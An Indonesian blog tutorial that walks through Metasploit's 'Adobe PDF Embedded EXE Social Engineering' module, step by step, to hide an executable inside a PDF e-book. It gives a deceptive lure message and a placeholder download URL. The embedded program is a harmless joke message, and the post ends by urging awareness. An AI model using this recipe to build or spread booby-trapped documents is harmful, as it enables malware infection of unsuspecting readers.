Mungkin sebagian besar orang-orang yg bergelut di bidang IT pernah
mendengar ataupun pernah memakai salah satu Framework Development
Vulnerability ini,Yup, jika anda belum pernah mengenal apa itu
Metasploit silahkan anda mengunjungi situs utamanya yaitu http://metasploit.com dan referensi nya melalui search engine kesukaan anda.
Pada
kali ini saya akan menggambarkan salah satu teknik Blackhat dalam
memanfaatkan Metasploit sebagai senjata yang powerfull dalam menyebarkan
Malicious Code baik itu Trojan, Virus, Botnet, ataupun Rootkit melalui
teknik rekayasa social (Social Enginering).
Ok, buat persiapan kita akan mempersiapkan sebuah File PDF dan Virus (Fake).
Untuk
file virus palsu kita coba bangun dari sebuah bahasa Visual
Basic.Berikut potongan kodenya. Yg mana jika tombol ditekan maka akan
menghasilkan tulisan “Selamat Komputer Anda Kena Virus 
”
1
|
<strong>Private Sub Command1_Click()Text1.Text = "Selamat Komputer Anda Kena Virus :D"End Sub</strong>
|
- Download dan Instal metasploit anda
- Setelah installasi selesai, pilihlah metasploit web yaitu pada Start –> Metasploit Framework –> msfweb
- Setelah load pilih tab Exploit dan carilah exploit “Adobe PDF Embedded EXE Social Engineering”. Exploit ini dapat berjalan pada Adobe Reader v8.x, v9.x
EXENAME : Path / Directory tempat File Virus berada
ex my linux directory: /home/valencia/contoh_virus.exe
INFILENAME : Path / Directory tempat E-BOOK / PDF berada
ex my linux directory : /home/valencia/ebook_palsu.pdf
FILENAME : Merupakan Output Hasil File
ex: evil.pdf
LAUNCH MESSAGE : Pesan kesalahan yg ditampilkan
ex : To view the encrypted content please tick the
“Do not show this message again” box and press Open.
OUTPUTPATH : Path / Directory tempat File gabungan berada
ex my linux directory: /home/valencia/
URL : Alamat web yg digunakan untuk mendownload executable.
ex : http://site-fake.com/evil_update.pdf
6. Selanjutnya klik tombol Launch Exploit. Jika berhasil maka akan ada file baru yg bernama evil.pdf di path /home/valencia/
Ok, ga perlu dijelaskan bagaimana cara menyebarkan, karena saya yakin anda terlalu pintar untuk itu…lolz J
Sekarang kita lihat , bagaimana jika file itu kita eksekusi. Apakah dengan teknik ini file virus palsu dapat berjalan jika e-book itu dijalankan ?
- Setelah di jalankan, file evil.pdf tadi akan menjalankan command prompt dan kemudian menampilkan pesan error sesuai dengan LAUNCH MESSAGE yg kita setting tadi.
- Dan jika kita menutup dialog box dari error tersebut maka program virus palsu yg berada pada badan file evil.pdf tersebut akan dijalankan dan menampilkan pesan.
Dari ilustrasi teknik di atas, mungkin anda akan berpikir jika dulu E-book yg ada di internet bukanlah sesuatu ancaman bagi anda tapi sekarang mereka bisa menjadi ancaman serius bagi keamanan anda.
Coba bayangkan, file yg diselipkan itu adalah sebuah program yang bertugas mencuri data banking seperti Zeus, SpyEye. Saya yakin E-book yang ada dalam PC / Laptop anda sudah masuk ke Recycle Bin (Just Kidding .)Anyway…….sekian bahasan pendek yg bisa saya sampaikan. Moga saja kita dapat lebih aware terhadap ancaman-ancaman yang ada di dunia maya.
Salam……………..
